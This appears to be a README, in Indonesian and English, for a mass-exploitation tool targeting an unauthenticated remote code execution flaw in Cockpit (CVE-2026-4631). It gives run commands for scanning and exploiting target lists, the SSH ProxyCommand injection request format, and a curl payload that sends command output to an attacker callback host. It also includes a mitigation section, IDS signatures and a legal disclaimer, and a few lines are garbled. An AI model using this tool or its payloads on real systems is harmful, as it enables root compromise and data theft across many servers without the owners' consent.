Share
## https://sploitus.com/exploit?id=B4423B41-80EB-54A0-8CBA-39356C37524C
# CVE-2026-4631 โ Cockpit Mass Exploit Tool
> **Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection**
> Cockpit versions 327 โ 359 | CVSS 9.8 Critical | CWE-78
Tool mass exploitation untuk CVE-2026-4631 pada Cockpit web service (`cockpit-ws`, port 9090). Mendukung mode vulnerability scan, mode RCE dengan capture output command via built-in HTTP callback listener, **mode `--auto` (scan + exploit sekali jalan dengan command default `id`)**, **auto-add port `:9090`** untuk target tanpa port, kedua attack vector (ProxyCommand + username `%r` injection), mass target dari file, concurrency threading, dan output result terstruktur.
**Author:** 0xNuts
---
## Quick Start
### Clone & Install
```bash
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
```
### Siapkan Target
Edit `targets.txt` โ satu host per baris. Port `:9090` otomatis ditambahkan jika tidak ada:
```
192.168.1.10
cockpit.example.com
https://manage.lab.local
```
### Jalankan (Mode AUTO โ Recommended)
```bash
# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip
# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
```
### Mode Lainnya
```bash
# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip
# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip
```
### Catatan Callback
CVE-2026-4631 adalah **blind RCE** โ output command tidak kembali di HTTP response. Tool pakai built-in HTTP listener (port default `8888`) untuk capture output. Pastikan:
1. `--callback-ip` adalah IP yang **reachable dari target** (bukan `127.0.0.1`)
2. Firewall allow inbound TCP port `8888` (atau `--listener-port` custom)
3. Target bisa outbound HTTP ke IP attacker
---
## Cara Fix / Mitigasi (Defender)
### 1. Upgrade Cockpit (Mandatory)
```bash
# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
```
### 2. Disable Remote Login (Workaround)
Edit `/etc/cockpit/cockpit.conf`:
```ini
[WebService]
LoginTo = false
```
Restart service:
```bash
sudo systemctl restart cockpit
```
### 3. Network Segmentation
Restrict port 9090 ke management network saja:
```bash
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
```
### 4. Upgrade OpenSSH >= 9.6
Mitigates Vector 1 (ProxyCommand injection) via early hostname validation:
```bash
ssh -V # harus OpenSSH_9.6 atau lebih baru
```
### 5. Patch Manual (Backport)
Jika tidak bisa upgrade ke 360, apply patch commit:
- [cockpit 9d0695647](https://github.com/cockpit-project/cockpit/commit/9d0695647) โ tambah `--` separator di `beiboot.py` dan `cockpitauth.c`
- [ferny 44ec511c99](https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99) โ tambah `--` di `session.py`
Detail patch: lihat [docs/PATCH_ANALYSIS.md](docs/PATCH_ANALYSIS.md)
---
## Daftar Isi
1. [Ringkasan Vulnerability](#ringkasan-vulnerability)
2. [Attack Vector](#attack-vector)
3. [Prasyarat Eksploitasi](#prasyarat-eksploitasi)
4. [Instalasi](#instalasi)
5. [Penggunaan](#penggunaan)
6. [Mode Operasi](#mode-operasi)
7. [Contoh Eksekusi](#contoh-eksekusi)
8. [Format Output](#format-output)
9. [Arsitektur Tool](#arsitektur-tool)
10. [Struktur File](#struktur-file)
11. [Mekanisme Blind RCE Capture](#mekanisme-blind-rce-capture)
12. [Deteksi & Mitigasi](#deteksi--mitigasi)
13. [Disclaimer Hukum](#disclaimer-hukum)
14. [Referensi](#referensi)
---
## Ringkasan Vulnerability
| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-4631 |
| **GHSA** | [GHSA-m4gv-x78h-3427](https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427) |
| **Severity** | Critical (CVSS 9.8) |
| **CWE** | CWE-78 โ OS Command Injection |
| **Affected** | Cockpit 327 โ 359 |
| **Fixed in** | Cockpit 360+ |
| **Auth required** | NO (pre-authentication) |
| **Reporter** | Jelle van der Waa |
| **Service** | `cockpit-ws`, default port 9090 |
Cockpit v327 mengganti `cockpit-ssh` (libssh) dengan `python3 -m cockpit.beiboot` yang invoke system OpenSSH `ssh` client. User-controlled input โ **hostname** dari URL path dan **username** dari `Authorization: Basic` header โ dipass ke `ssh` **tanpa sanitasi** dan **tanpa `--` end-of-options separator**. Injection terjadi sebelum credential verification, jadi tidak butuh login valid.
---
## Attack Vector
### Vector 1 โ ProxyCommand Injection (Primary)
Hostname dari URL path di-inject dengan SSH option `-oProxyCommand=`.
```http
GET /cockpit+=-oProxyCommand=/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")
```
SSH parse `-oProxyCommand=` sebagai option, eksekusi `` sebagai ProxyCommand. Command jalan sebagai user process `cockpit-ws`.
**Prasyarat:** OpenSSH ; #:x")
```
SSH expand `%r` dengan username di `Match exec` directive โ shell execute injected command.
**Prasyarat:** target `ssh_config` punya `Match exec` directive dengan `%r` token.
---
## Prasyarat Eksploitasi
### Sisi Attacker (mesin yang jalan tool)
- Python 3.8+
- IP reachable dari target Cockpit (untuk callback listener)
- Port terbuka untuk listener (default 8888)
- Firewall allow inbound dari target ke listener port
### Sisi Target (Cockpit instance)
- Cockpit version 327 โ 359
- Port 9090 reachable
- Remote login feature (`LoginTo`) tidak di-disable
- Untuk Vector 1: OpenSSH =2.31` โ HTTP client untuk exploit request
- `colorama>=0.4` โ colored terminal output
Tidak ada dependency tambahan untuk listener (menggunakan stdlib `http.server` + `threading`).
---
## Penggunaan
```
usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
[-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
[-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
[--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
[--user-agent UA] [-v] [--no-color]
CVE-2026-4631 Cockpit Mass Exploit โ Unauthenticated RCE via SSH Argument Injection
optional arguments:
-h, --help show this help message and exit
-t, --target single target URL/host (port auto-added jika absent)
-f, --file file containing list of targets (one per line)
--default-port port yang di-append jika target tanpa port (default: 9090)
-c, --cmd command to execute (default: "id" pada mode --auto / RCE)
--scan vulnerability scan mode (no RCE, probe endpoint only)
--auto scan + exploit sekali jalan, command default "id"
--vector exploit vector: auto|proxycommand|username (default: auto)
-o, --output result output file (default: results.txt)
--callback-ip attacker IP reachable from target (for callback listener)
--listener-port callback listener port (default: 8888)
--threads concurrent workers (default: 10)
--timeout seconds to wait for callback per target (default: 10)
--delay delay between requests in seconds (default: 0)
--proxy HTTP proxy for debugging (e.g. http://127.0.0.1:8080)
--user-agent custom User-Agent string
-v, --verbose verbose output (debug)
--no-color disable colored output
```
---
## Mode Operasi
### Mode 1 โ Vulnerability Scan (`--scan`)
Probe endpoint `/cockpit+=probe-host/login` tanpa exploit. Deteksi:
- Cockpit fingerprint via response headers/body
- Vulnerable login flow active (response code 401/403/200/500)
- Versi inference jika possible
Tidak mengirim payload berbahaya, tidak butuh callback listener.
### Mode 2 โ RCE dengan Command Capture (`-c "cmd"`)
Eksekusi command di target, capture output via callback:
- Built-in HTTP listener start di background
- Payload ProxyCommand wrap command dengan `curl` exfil ke listener
- Output di-base64, dikirim POST ke listener
- Listener decode dan match ke target via request ID
- Result ditulis ke file output
- Jika `-c` tidak diisi, default command = `id`
### Mode 3 โ AUTO (`--auto`) โ Recommended
Scan + exploit dalam satu pass, command default `id`:
1. Parse target list (auto-add port 9090 jika absent)
2. Start callback listener
3. Per target: scan โ jika VULN langsung exploit dengan `id` (atau `-c` override)
4. Target NOT VULN / UNREACHABLE di-skip (tidak di-exploit)
5. Result: `host [ uid=0(root) ... ]`
### Mode 4 โ Auto Vector (`--vector auto`)
Try Vector 1 (ProxyCommand) pertama. Jika response menunjukkan OpenSSH >= 9.6 (hostname validation error), fallback ke Vector 2 (username `%r`).
### Auto-Port Normalization
Setiap entry di `targets.txt` tanpa port otomatis di-append `:9090`:
```
host โ http://host:9090
host:9090 โ http://host:9090
https://host โ https://host:9090
192.168.1.10 โ http://192.168.1.10:9090
[::1] โ http://[::1]:9090
```
---
## Contoh Eksekusi
### AUTO โ Scan + Exploit (Recommended)
```bash
# Target tanpa port โ auto :9090, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10
# Override command
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10
```
Output `results.txt`:
```
# CVE-2026-4631 mass exploit results โ 2026-07-12 00:42
# mode: auto
# command: id
# vector: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - no callback received (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]
```
### Vulnerability Scan โ Mass Target
```bash
python3 exploit.py -f targets.txt --scan -o scan_results.txt
```
Output `scan_results.txt`:
```
target1.example.com:9090 [ VULN - Cockpit login flow active (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]
```
### RCE โ Single Target
```bash
python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# equivalent: -t http://target:9090/
```
Output:
```
target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
```
### RCE โ Mass Target dengan Command Capture
```bash
python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20
```
### RCE โ Spesifik Vector
```bash
# Force Vector 1 ProxyCommand
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand
# Force Vector 2 username %r
python3 exploit.py -f targets.txt -c "whoami" --vector username
```
### Tuning Koncurrency & Timeout
```bash
python3 exploit.py -f targets.txt -c "id" \
--callback-ip 10.10.10.10 \
--listener-port 9999 \
--threads 50 \
--timeout 15 \
--delay 0.2
```
### Debug via Proxy
```bash
python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v
```
---
## Format Output
Result file format line-per-target:
```
[ ]
```
| Status | Makna |
|---|---|
| `uid=0(root) ...` | RCE sukses, output command ter-capture |
| `VULN - no callback received (OpenSSH >= 9.6?)` | Target vulnerable tapi Vector 1 diblok OpenSSH 9.6+, coba Vector 2 |
| `VULN - endpoint active` | Scan mode, endpoint vulnerable terdeteksi |
| `NOT VULN` | Cockpit >= 360 atau endpoint tidak ada |
| `UNREACHABLE` | Koneksi gagal / timeout koneksi |
| `ERROR: ` | Exception saat eksekusi |
Header result file mencatat timestamp, command, vector, dan jumlah target.
---
## Arsitektur Tool
```mermaid
flowchart TD
CLI["exploit.pyargparse CLI + banner"] --> Parser["core/target.pyparse & normalize targets"]
CLI --> Engine["core/engine.pyorchestrator"]
Engine --> Listener["core/listener.pyHTTP callback server thread"]
Engine --> Pool["ThreadPoolExecutorconcurrent workers"]
Pool --> Scanner["core/scanner.pyvuln probe"]
Pool --> Exploit["core/exploit.pypayload generator"]
Scanner --> Req1["requests GET/cockpit+=test/login"]
Exploit --> Req2["requests GET/cockpit+=-oProxyCommand=PAYLOAD/login"]
Req2 --> Target["Cockpit target :9090"]
Target -->|"blind RCEcurl callback"| Listener
Listener --> Shared["shared dictREQID -> output"]
Engine --> Result["utils/result.pywrite results.txt"]
Shared --> Engine
```
### Komponen
- **exploit.py** โ entry point, parse argumen, dispatch ke engine, render banner
- **core/target.py** โ baca `-f file` / `-t url`, normalisasi (add `http://`, default port 9090), deduplikasi
- **core/scanner.py** โ mode `--scan`, probe endpoint, fingerprint Cockpit, infer vulnerability
- **core/exploit.py** โ generate payload per vector, kirim exploit request via `requests`
- **core/listener.py** โ `ThreadingHTTPServer` di `--callback-ip:--listener-port`, parse `?id=REQID&out=BASE64`, simpan ke shared dict
- **core/engine.py** โ orchestrator: start listener, spawn ThreadPoolExecutor, match callback ke target via request ID, handle timeout, write result
- **utils/banner.py** โ ASCII banner
- **utils/result.py** โ writer result file dengan format `host [ output ]`
---
## Struktur File
```
CVE-2026-4631-cockpit-RCE/
โโโ exploit.py # entry point CLI
โโโ requirements.txt # dependencies
โโโ README.md # dokumentasi ini
โโโ targets.txt # contoh target list
โโโ results.txt # output (generated)
โโโ core/
โ โโโ __init__.py
โ โโโ target.py # parser target
โ โโโ scanner.py # mode scan vuln
โ โโโ exploit.py # payload generator + sender
โ โโโ listener.py # HTTP callback server
โ โโโ engine.py # orchestrator
โโโ utils/
โ โโโ __init__.py
โ โโโ banner.py # ASCII banner
โ โโโ result.py # result writer
โโโ docs/
โโโ VULN_ANALYSIS.md # analisis mendalam vulnerability
โโโ PATCH_ANALYSIS.md # analisis patch commit
โโโ DETECTION.md # signature deteksi
```
---
## Mekanisme Blind RCE Capture
CVE-2026-4631 adalah **blind RCE** โ output command tidak dikembalikan di HTTP response Cockpit. Tool mengatasi dengan built-in HTTP callback listener:
### Flow
1. **Listener start** โ HTTP server threaded dengarkan `--callback-ip:--listener-port`
2. **Generate REQID** โ per target, UUID4 hex 8-char unik
3. **Build payload** โ ProxyCommand wrap command dengan curl exfil:
```bash
bash -c 'curl -s http://CALLBACK_IP:PORT/cb?id=REQID --data "$(CMD | base64 -w0)"'
```
4. **URL-encode payload** โ inject ke hostname field:
```
GET /cockpit+=-oProxyCommand=/login
Authorization: Basic base64("x:x")
```
5. **Kirim request** โ via `requests.get`, `verify=False` untuk self-signed cert
6. **Tunggu callback** โ poll shared dict `results[REQID]` sampai `--timeout`
7. **Match & decode** โ jika callback masuk, decode base64 output, match ke target via REQID
8. **Write result** โ `host [ decoded_output ]` ke file output
### Fallback Tanpa Callback
Jika timeout tanpa callback, cek response SSH error:
- Hostname validation error โ OpenSSH >= 9.6, Vector 1 blocked โ `VULN - no callback (OpenSSH >= 9.6?)`
- Connection error โ `UNREACHABLE`
- Endpoint tidak ada โ `NOT VULN`
### Concurrency
- `ThreadPoolExecutor(max_workers=--threads)` parallel per target
- Shared `dict[REQID] -> target_host` + `dict[REQID] -> output` dengan `threading.Lock`
- `ThreadingHTTPServer` handle concurrent callback
- Per-target `try/except`: connection error, SSL error, timeout
---
## Deteksi & Mitigasi
### Network IDS Signature
```
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
```
Watch for:
- `-oProxyCommand=` di URL path
- Semicolon (`;`) di decoded `Authorization: Basic` value
### Log Hunting
```bash
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"
```
### Mitigasi
1. **Upgrade Cockpit >= 360** (mandatory fix)
2. **Disable remote login** โ `/etc/cockpit/cockpit.conf`:
```ini
[WebService]
LoginTo = false
```
3. **Network segmentation** โ restrict port 9090 ke management network:
```bash
iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9090 -j DROP
```
4. **Upgrade OpenSSH >= 9.6** โ mitigates Vector 1 (early hostname validation)
### Version Check
```bash
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian/Ubuntu
rpm -q cockpit-ws # RHEL/Fedora
# Vulnerable: 327 <= version <= 359
```
---
## Disclaimer Hukum
Tool ini dibuat untuk **penetration testing authorized**, **security research**, dan **vulnerability validation** pada sistem yang Anda miliki atau memiliki izin tertulis untuk diuji.
**Penggunaan tool ini pada sistem tanpa izin eksplisit dari pemilik adalah ilegal** dan dapat dikenai sanksi pidana sesuai hukum yang berlaku (di Indonesia: UU ITE Pasal 30-33).
Author tidak bertanggung jawab atas penyalahgunaan tool ini. Gunakan secara etis dan bertanggung jawab.
**Authorized use cases:**
- Audit keamanan pada infrastruktur sendiri
- Engagement penetration testing dengan scope tertulis
- Validasi patch pada lab environment
- CTF dan security training
---
## Referensi
| Resource | URL |
|---|---|
| GitHub Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| OSS-Security Disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| Red Hat Bugzilla | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| NVD Entry | https://nvd.nist.gov/vuln/detail/cve-2026-4631 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |
| Reference PoC | https://github.com/cyberheartmi9/CVE-2026-4631-cockpit-RCE |
---
## Lisensi
Untuk keperluan research dan authorized testing. Tidak untuk distribusi komersial tanpa izin.